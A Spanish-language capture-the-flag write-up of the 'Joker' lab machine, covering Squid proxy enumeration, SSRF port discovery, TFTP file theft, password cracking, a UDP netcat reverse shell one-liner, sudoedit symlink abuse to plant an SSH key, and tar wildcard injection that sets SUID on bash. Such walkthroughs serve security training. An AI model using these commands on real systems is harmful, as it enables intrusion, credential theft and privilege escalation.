Conocimientos

  • Enumeración de SQUID Proxy

  • Enumeración por UDP

  • SSRF - Internal Port Discovering

  • Abuso de TFTP

  • Bypass reglas Iptables

  • Abuso de privilegio Sudoers (User Pivoting)

  • Abuso de tarea CRON (Escalada de Privilegios)


Reconocimiento

Escaneo de puertos con nmap

Descubrimiento de puertos abiertos

nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.10.21 -oG openports
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-17 10:17 GMT
Nmap scan report for 10.10.10.21
Host is up (0.24s latency).
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
22/tcp   open  ssh
3128/tcp open  squid-http

Nmap done: 1 IP address (1 host up) scanned in 27.88 seconds

Escaneo de versión y servicios de cada puerto

nmap -sCV -p22,3128 10.10.10.21 -oN portscan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-17 10:18 GMT
Nmap scan report for 10.10.10.21
Host is up (0.049s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8824e357109f1b173d7af3263db6334e (RSA)
|   256 76b6f60800bd68ce97cb08e777693d8a (ECDSA)
|_  256 dc91e48dd016cecf3d91820923a7dc86 (ED25519)
3128/tcp open  http-proxy Squid http proxy 3.5.12
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/3.5.12
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.87 seconds

Puerto 3128 (HTTP-PROXY)

Con whatweb analizo las tecnologías que está empleando el servidor web

whatweb http://10.10.10.21:3128
http://10.10.10.21:3128 [400 Bad Request] Content-Language[en], Country[RESERVED][ZZ], Email[webmaster], HTTPServer[squid/3.5.12], IP[10.10.10.21], Squid-Web-Proxy-Cache[3.5.12], Title[ERROR: The requested URL could not be retrieved], UncommonHeaders[x-squid-error], Via-Proxy[1.1 joker (squid/3.5.12)], X-Cache[joker,joker:3128]

La página principal se ve así

Pruebo a pasar por el proxy, a través del Addon FoxyProxy. No se si requiere de usuario y contraseña

Pero no carga nada. Intercepto los paquetes con Wireshark, y al ser tráfico HTTP puedo ver en la respuesta un error de autenticación

Se filtra en las cabeceras que el reino predeterminado de versión 5 de Kerberos es kalamari

Aunque no tenga credenciales, puedo intentar aplicar un Internal Port Discovery a través de un SSRF

wfuzz -c --hc=403 --hh=3598,3602 -t 100 -z range,1-65535 -p 10.10.10.21:3128:HTTP http://127.0.0.1:FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://127.0.0.1:FUZZ/
Total requests: 65535

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                         
=====================================================================

000000021:   407        144 L    393 W      3590 Ch     "21"                                                                                                                                            
000000070:   407        144 L    393 W      3590 Ch     "70"                                                                                                                                            
000000080:   407        144 L    393 W      3576 Ch     "80"                                                                                                                                            
000000280:   407        144 L    393 W      3594 Ch     "280"                                                                                                                                           
000000210:   407        144 L    393 W      3594 Ch     "210"                                                                                                                                           
000000443:   407        144 L    393 W      3594 Ch     "443"                                                                                                                                           
000000488:   407        144 L    393 W      3594 Ch     "488"                                                                                                                                           
000000591:   407        144 L    393 W      3594 Ch     "591"                                                                                                                                           
000000777:   407        144 L    393 W      3594 Ch     "777"                                                                                                                                           

Total time: 79.97870
Processed Requests: 65535
Filtered Requests: 65526
Requests/sec.: 819.4056

Puede que alguno de estos, aunque no estén abiertos por TCP, si que lo estén por UDP.

Aplico un escaneo con nmap para encontrar los 1000 puertos más comunes

nmap --top-ports 1000 --open -sU 10.10.10.21 -oG openportsudp
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-17 10:24 GMT
Host is up (0.098s latency).
Not shown: 998 closed udp ports (port-unreach)
PORT     STATE         SERVICE
69/udp   open|filtered tftp
5355/udp open|filtered llmnr

Nmap done: 1 IP address (1 host up) scanned in 1089.70 seconds

Y me puedo conectar al puerto 69

tftp 10.10.10.21
tftp>    

Intento abrir el /etc/passwd, pero no tengo acceso

tftp> get /etc/passwd
Error code 2: Access violation

Puedo descargar la configuración del SQUID Proxy

tftp> get /etc/squid/squid.conf
cat squid.conf | grep -v "^#" | sed '/^\s*$/d'
acl SSL_ports port 443
acl Safe_ports port 80		# http
acl Safe_ports port 21		# ftp
acl Safe_ports port 443		# https
acl Safe_ports port 70		# gopher
acl Safe_ports port 210		# wais
acl Safe_ports port 1025-65535	# unregistered ports
acl Safe_ports port 280		# http-mgmt
acl Safe_ports port 488		# gss-http
acl Safe_ports port 591		# filemaker
acl Safe_ports port 777		# multiling http
acl CONNECT method CONNECT
http_access deny !Safe_ports
http_access deny CONNECT !SSL_ports
http_access deny manager
auth_param basic program /usr/lib/squid/basic_ncsa_auth /etc/squid/passwords
auth_param basic realm kalamari
acl authenticated proxy_auth REQUIRED
http_access allow authenticated
http_access deny all
http_port 3128
coredump_dir /var/spool/squid
refresh_pattern ^ftp:		1440	20%	10080
refresh_pattern ^gopher:	1440	0%	1440
refresh_pattern -i (/cgi-bin/|\?) 0	0%	0
refresh_pattern (Release|Packages(.gz)*)$      0       20%     2880
refresh_pattern .		0	20%	4320

Me puedo descargar un archivo con contraseñas

tftp> get /etc/squid/passwords
cat passwords
kalamari:$apr1$zyzBxQYW$pL360IoLQ5Yum5SLTph.l0

Está hasheada, pero se puede crackear con john

john -w:/usr/share/wordlists/rockyou.txt passwords
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ihateseafood     (kalamari)     
1g 0:00:00:28 DONE (2023-02-17 11:19) 0.03552g/s 260001p/s 260001c/s 260001C/s ihateticmark..ihatepwc
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Añado las credenciales a la configuración del FoxyProxy

Ya tengo alcance con el puerto 80 internamente abierto

Pruebo a crear un short URL con el aplicativo

Una sección permite listar lo que se ha creado, incluyendo mi input de usuario. Por detrás se está empleando Flask

Pruebo un SSTI, pero no obtengo resultados

Aplico fuzzing para descubrir rutas

gobuster dir -u http://127.0.0.1 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --proxy http://kalamari:ihateseafood@10.10.10.21:3128 -t 100
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://127.0.0.1
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] Proxy:                   http://kalamari:ihateseafood@10.10.10.21:3128
[+] User Agent:              gobuster/3.4
[+] Timeout:                 10s
===============================================================
2023/02/17 11:42:33 Starting gobuster in directory enumeration mode
===============================================================
/list                 (Status: 301) [Size: 251] [--> http://127.0.0.1/list/]
/console              (Status: 200) [Size: 1479]
Progress: 220532 / 220547 (99.99%)
===============================================================
2023/02/17 11:50:43 Finished
===============================================================

Obtengo ejecución remota de comandos

No tengo conectividad con mi equipo. Puedo leer el archivo de configuración de iptables

>>> with open('/etc/iptables/rules.v4', 'r') as f: print(f.read())
# Generated by iptables-save v1.6.0 on Fri May 19 18:01:16 2017
*filter
:INPUT DROP [41573:1829596]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [878:221932]
-A INPUT -i ens33 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -i ens33 -p tcp -m tcp --dport 3128 -j ACCEPT
-A INPUT -i ens33 -p udp -j ACCEPT
-A INPUT -i ens33 -p icmp -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A OUTPUT -o ens33 -p tcp -m state --state NEW -j DROP
COMMIT
# Completed on Fri May 19 18:01:16 2017

Me envío una reverse shell por UDP

>>> import os
>>> os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.4 1234 -u > /tmp/f &")

Gano acceso al sistema como wekzeug

nc -nlvp 1234 -u
listening on [any] 1234 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.21] 33888
/bin/sh: 0: can't access tty; job control turned off
$ whoami
werkzeug
$ script /dev/null -c bash
Script started, file is /dev/null
werkzeug@joker:~$ ^Z
zsh: suspended  nc -nlvp 1234 -u
❯ stty raw -echo; fg
[1]  + continued  nc -nlvp 1234 -u
                                  reset xterm
werkzeug@joker:~$ export TERM=xterm
werkzeug@joker:~$ export SHELL=bash
werkzeug@joker:~$ stty rows 55 columns 209

Escalada

Un archivo de python incluye una base de datos

werkzeug@joker:~$ cat manage-shorty.py 
#!/usr/bin/env python

import os
import tempfile
import netifaces
from werkzeug import script

def make_app():
    from shorty.application import Shorty
    filename = "/var/www/shorty/data/shorty.db"
    return Shorty('sqlite:///{0}'.format(filename))

def make_shell():
    from shorty import models, utils
    application = make_app()
    return locals()

action_runserver = script.make_runserver(make_app, hostname=netifaces.ifaddresses('lo')[2][0]['addr'], port=80)
action_shell = script.make_shell(make_shell)
action_initdb = lambda: make_app().init_database()

script.run()
werkzeug@joker:~$ ls -l /var/www/shorty/data/shorty.db
-rw-r--r-- 1 werkzeug werkzeug 12288 May 18  2017 /var/www/shorty/data/shorty.db

La transfiero a mi equipo, pero está corrupta

sqlite3 database.db
SQLite version 3.40.0 2022-11-16 12:10:08
Enter ".help" for usage hints.
sqlite> .tables
Error: database disk image is malformed
sqlite> 

Tengo un privilegio a nivel de sudoers

werkzeug@joker:~$ sudo -l
Matching Defaults entries for werkzeug on joker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, sudoedit_follow, !sudoedit_checkdir

User werkzeug may run the following commands on joker:
    (alekos) NOPASSWD: sudoedit /var/www/*/*/layout.html

Creo un directorio para que se cumpla las condiciones

werkzeug@joker:~/testing$ mkdir pwned
werkzeug@joker:~/testing$ cd pwned/
werkzeug@joker:~/testing/pwned$ pwd
/var/www/testing/pwned
werkzeug@joker:~/testing/pwned$ sudoedit -u alekos /var/www/testing/pwned/layout.html

Dentro del editor nano, existe una forma de ejecutar comandos, según GTFObins

Pero en este caso es un rabbit hole, ya que ninguno de estos dos usuarios tiene capacidad de escritura en /var/www/ y no se puede crear el directorio .nano

Unable to create directory /var/www/.nano: Permission denied

Sin embargo, se puede crear un arhivo en el directorio actual para hacerle un enlace simbólico a las authorized_keys de alekos, ya que tengo capacidad de lectura

werkzeug@joker:~/testing/pwned$ ls -l /home/alekos/.ssh/authorized_keys 
-rw-r--r-- 1 alekos alekos 0 May 20  2017 /home/alekos/.ssh/authorized_keys

Copio mi clave pública a ese archivo, abusando del sudoedit

werkzeug@joker:~/testing/pwned$ touch layout.html
werkzeug@joker:~/testing/pwned$ ln -s -f /home/alekos/.ssh/authorized_keys layout.html 
werkzeug@joker:~/testing/pwned$ sudoedit -u alekos /var/www/testing/pwned/layout.html

Me conecto por SSH a la máquina víctima como alekos

ssh alekos@10.10.10.21
The authenticity of host '10.10.10.21 (10.10.10.21)' can't be established.
ED25519 key fingerprint is SHA256:DCu3UkgWPWIZMeHG1ck01N+KJZq+0tvFq3qjzzplJlk.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.21' (ED25519) to the list of known hosts.
Welcome to Ubuntu 16.10 (GNU/Linux 4.8.0-52-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.


Last login: Sat May 20 16:38:08 2017 from 10.10.13.210
alekos@joker:~$ 

Puedo visualizar la primera flag

alekos@joker:~$ cat user.txt 
91176299aef153ab7633a0eb22722bd8

Dentro del directorio backup hay varios archivos comprimidos

alekos@joker:/var/www/testing$ cd ~/backup/
alekos@joker:~/backup$ ls
dev-1514134201.tar.gz  dev-1676637301.tar.gz  dev-1676637901.tar.gz  dev-1676638501.tar.gz  dev-1676639101.tar.gz  dev-1676639701.tar.gz  dev-1676640301.tar.gz  dev-1676640901.tar.gz
dev-1514134501.tar.gz  dev-1676637601.tar.gz  dev-1676638201.tar.gz  dev-1676638801.tar.gz  dev-1676639401.tar.gz  dev-1676640001.tar.gz  dev-1676640601.tar.gz  dev-1676641202.tar.gz

Utilizo scp para subir el pspy

scp /opt/pspy alekos@10.10.10.21:/tmp/pspy
pspy                                                                 100% 3006KB 704.1KB/s   00:04 

El usuario root está ejecutando un script de bash a intervalos regulares de tiempo

2023/02/17 16:00:01 CMD: UID=0    PID=5143   | /usr/sbin/CRON -f 
2023/02/17 16:00:01 CMD: UID=0    PID=5147   | /bin/sh /root/backup.sh 
2023/02/17 16:00:01 CMD: UID=0    PID=5148   | /bin/sh /root/backup.sh 
2023/02/17 16:00:01 CMD: UID=0    PID=5149   | /bin/sh /root/backup.sh 

Pero no puedo ver en que consiste. Voy a suponer que el directorio de antes está relacionado. Descomprimo un archivo para ver su estructura y borro todos los comprimidos

alekos@joker:~/backup$ tar -xf dev-1514134201.tar.gz
alekos@joker:~/backup$ rm -rf dev-1*
alekos@joker:~/backup$ ls
application.py  data  __init__.py  models.py  static  templates  utils.py  views.py

En el directorio development hay lo mismo

alekos@joker:~/development$ ls
application.py  data  __init__.py  models.py  static  templates  utils.py  views.py

Lo más probable es que esté utilizando wildcards para referenciar a todo lo que hay dentro del directorio. Si creo un archivo con un nombre cuyo valor sea un parámentro, lo va a interpretar. En GTFObins está contemplado

Creo un script en python que se encargue de asignarle SUID a la bash

import os

os.system("chmod u+s /bin/bash")

Agrego los archivos con nombres de parámetros

alekos@joker:~/development$ touch -- --checkpoint=1
alekos@joker:~/development$ touch -- '--checkpoint-action=exec=python3 test.py'

En un máximo de 5 minutos la bash pasa a ser SUID y ver la segunda flag

alekos@joker:~/backup$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1041576 May 16  2017 /bin/bash
alekos@joker:~/backup$ bash -p
bash-4.3# cat /root/root.txt
11d683fbc309f6e3794fe81c33c117ac